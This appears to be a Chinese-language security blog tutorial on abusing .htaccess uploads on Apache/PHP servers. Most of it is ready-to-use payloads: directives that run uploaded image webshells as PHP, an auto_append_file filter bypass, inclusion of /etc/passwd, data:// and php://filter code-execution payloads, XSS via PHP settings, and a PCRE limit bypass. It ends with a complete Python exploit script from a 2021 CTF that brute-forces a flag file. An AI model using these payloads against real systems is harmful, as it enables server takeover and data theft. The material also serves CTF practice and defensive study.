前言
之前对.htaccess
文件上传漏洞的理解还是有些太浅显了,故在这里进行补充。
简介
.htaccess
是一个配置文件,用于运行Apache网络服务器软件的网络服务器上。当.htaccess
文件被放置在一个通过Apache Web服务器加载的目录中时,.htaccess
文件会被Apache Web服务器软件检测并执行。这些.htaccess
文件可以用来改变Apache Web服务器软件的配置,以启用/禁用Apache Web服务器软件所提供的额外功能和特性。
.htaccess
文件提供了针对目录改变配置的方法, 即在一个特定的文档目录中放置一个包含一条或多条指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。
.htaccess
文件上传漏洞
我们可以通过上传.htaccess
来将图片文件解析为可执行文件,来执行我们上传的图片马。
常见利用方法
#在当前目录下,所有文件都会被解析成php代码执行
<IfModule >
SetHandler application/x-httpd-php
</IfModule >
#指定文件解析为php
<FilesMatch "shell.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
.htaccess
屏蔽词绕过
可以利用反斜杠\来实现屏蔽词的绕过
例如,假设屏蔽了file:
php_value auto_append_fi\
le shell.jpg
.htaccess
常见指令
SetHandler
SetHandler
指令可以强制所有匹配的文件被一个指定的处理器处理。
用法:
SetHandler handler-name|None
SetHandler application/x-httpd-php
SetHandler server-status
AddHandler
AddHandler
指令可以实现在文件扩展名与特定的处理器之间建立映射。
AddHandler handler-name extensive [extensive] …
#将扩展名为 .xxx 的文件作为 CGI 脚本来处理。
AddHandler cgi-script .xxx
AddType
AddType
指令可以将给定的文件扩展名映射到指定的内容类型。
AddType media-type extensive [extensive] …
AddType application/x-httpd-php .gif
AddType application/x-httpd-php png jpg gif
php_flag
php_flag
指令用来设定布尔值类型的 PHP 配置选项。
php_flag name on|off
php_flag engine 0
将 engine 设置为 0,即在本目录和子目录中关闭 PHP 解析,可以造成源码泄露。
php_value
可以用 Apache 的配置文件(例如 httpd.conf)或.htaccess
文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options
或AllowOverride All
权限才可以。php_value
指令用来设定指定的 PHP 的配置值。
要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用php_flag。.htaccess
的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的配置。
本地文件包含利用
使用条件:当前目录下有可访问PHP文件
php_value auto_prepend_file /etc/passwd
php_value auto_append_file /etc/passwd
任意代码执行
使用条件:
allow_url_fopen
为 Onallow_url_include
为 On目标环境的当前目录中存在至少一个 可访问PHP文件
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+ php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e // 如果不使用base64加密则注意需要url编码
绕过\<?特殊字符
首先将Shell进行base64编码以文件名shell.jpg
上传到服务器中,然后上传该.htaccess
配置文件。
这个要当前目录下有可执行的PHP文件。
php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"
如果没有可执行的PHP文件,可将.htaccess文件解析为PHP文件,及添加以下内容:
AddType application/x-httpd-php .htaccess
XSS攻击
可以通过.htaccess
文件设定highlight.comment
选项,指定需要高亮的内容,从而进行 XSS。
方法一: highlight_file
高亮输出,只要执行highlight_file就会输出xss内容
php_value highlight.comment xss
方法二: 报错输出,只要出错就会输出xss内容
php_flag display_errors 1
php_flag html_errors 1
php_value docref_root xss
正则回朔绕过正则匹配
通过设置正则匹配的次数上限,来绕过一些限制,使得payload能够通过。
php_value pcre.backtrack_limit 0
php_value pcre.jit 0
本地文件读取
POC主体
<If "file('/flag')=~ /"'flag{xxxx"'/">
ErrorDocument 404 "CheckError"
</If>
原理是利用文件读取函数获取文件内容,然后使用脚本逐字对文件内容进行猜解,如果错误就会返回404.
完整EXP(2021-津门杯文件上传)
import requests
import string
import hashlib
ip = requests.get('http://x.x.x.x:xx/ip.php').text
print(ip)
def check(a):
# 这里存放htaccess文件内容
htaccess = '''
<If "file('/flag')=~ /''' + a + '''/">
ErrorDocument 404 "CheckError"
</If>
'''
# 设置文件上传的请求
resp = requests.post("http://x.x.x.x:xx/index.php?id=69660",data={'submit': 'submit'}, files={'file': ('.htaccess',htaccess)} )
# 设置要访问的目标文件所在目录
a = requests.get("http://x.x.x.x:xx/upload/" + i + "/a").text
if "CheckError" not in a:
return False
else:
return True
# 设置flag开头字符串
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: " + flag + i)
if check(flag + i):
flag = flag + i
print(flag)
break
else:
continue